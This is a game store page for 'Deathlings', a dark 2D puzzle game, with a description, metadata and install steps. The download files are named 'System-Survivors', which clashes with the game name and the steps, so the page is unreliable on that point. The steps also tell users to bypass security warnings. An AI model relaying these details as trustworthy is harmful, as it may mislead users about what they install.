A downloadable game for Windows and Android

Deathlings is a dark, emotional 2D puzzle-strategy game inspired by classic crowd-control games, but twisted into something far more haunting. You guide a fragile group of strange little creatures called Deathlings through collapsing ruins, abandoned cities, industrial nightmares, and surreal landscapes shaped by grief, fear, anger, and despair.

Each chapter contains 10 increasingly difficult levels, where every Deathling moves independently and must be assigned different abilities to overcome hazards, activate mechanisms, manipulate the environment, and reach each level’s objective. Players will need to carefully manage timing, routes, environmental traps, limited abilities, and chain reactions as the levels become more complex.

Deathlings can walk, climb, dig, build, crawl, fall, interact with machinery, trigger traps, carry objects, sacrifice themselves to alter the environment, and perform numerous specialized actions that create increasingly elaborate puzzle combinations. Different Deathlings can also have unique appearances, personalities, animations, and reactions, making the swarm feel strangely alive despite the game’s bleak world.

Visually, Deathlings combines hand-drawn emo, gothic, grunge, and alternative aesthetics with expressive 2D skeletal animation, dramatic lighting, atmospheric particle effects, rain, fog, shadows, broken architecture, graffiti, and environments that visually represent different emotional states. The Deathlings themselves are cute, miserable, chaotic little creatures whose exaggerated animations create an unsettling mix of sadness, dark humor, and personality.

The soundtrack is equally important, blending melancholic piano, distant guitars, distorted ambience, industrial percussion, lo-fi textures, emotional strings, haunting vocal layers, and explosive rock elements that grow more intense as the game progresses.

Underneath the puzzles is a larger story about hopelessness, isolation, loss, and the consequences of giving up. As players move deeper into the world, the environments and Deathlings begin revealing fragments of what happened to this strange place—and whether destruction is really the only ending available.

Deathlings is a puzzle game about guiding creatures through a world that has already given up on them.

More information
Updated 9 days ago
Published 11 days ago
StatusReleased
PlatformsWindows, Android
AuthorVoidacon
GenrePlatformer
Tags2D, AI Generated, Godot, Minimalist, Singleplayer
AI DisclosureAI Assisted, Code, Graphics, Sounds, Text

Download

Download
System-Survivors-0.8.0-win64.exe 145 MB
Download
System-Survivors-0.8.0-android.apk 93 MB

Install instructions

Download & Install

Windows

  1. Click the Download or Download Now button on the Deathlings itch.io page.
  2. Select the Windows version of Deathlings.
  3. Once the download finishes, open your Downloads folder.
  4. If the game downloads as a ZIP file, right-click it and select Extract All.
  5. Open the extracted Deathlings folder.
  6. Double-click Deathlings.exe to start the game.
  7. Windows may display a security warning because the game comes from an independent developer that Windows does not recognize yet. If this happens, click More info, then select Run anyway if you trust the download from the official Deathlings itch.io page.
  8. The game should now launch. You can create a desktop shortcut to Deathlings.exe if you want easier access later.

Important: Do not delete or move individual files from the extracted Deathlings folder. The executable may require the other files in the folder to run correctly.

Android

  1. Open the official Deathlings itch.io page on your Android device.
  2. Tap Download or Download Now.
  3. Select the Android APK version.
  4. Wait for the APK file to finish downloading.
  5. Open the downloaded Deathlings.apk file.
  6. Android may warn you that your browser is not currently allowed to install unknown apps.
  7. Select Settings when prompted and temporarily enable Allow from this source for the browser or file manager you used to download Deathlings.
  8. Return to the installer and tap Install.
  9. Once installation finishes, tap Open to launch Deathlings.
  10. You can disable Allow from this source again afterward for additional security.

Android may display a warning because Deathlings was downloaded directly from itch.io instead of the Google Play Store. Only install the APK obtained from the official Deathlings itch.io page.

Updating Deathlings

When a new version is released, return to the official itch.io page and download the newest build.

For Windows, extract the new version into a new folder unless the update instructions specifically say otherwise.

For Android, download the latest APK and install it over the existing version. Android will normally update the game while keeping its existing application data.

Having Problems?

If Deathlings does not launch, make sure the entire download has been extracted before opening the game and verify that you downloaded the correct version for your device.

Please report any crashes, bugs, broken levels, performance problems, or other issues through the Deathlings itch.io page so they can be investigated in future updates.

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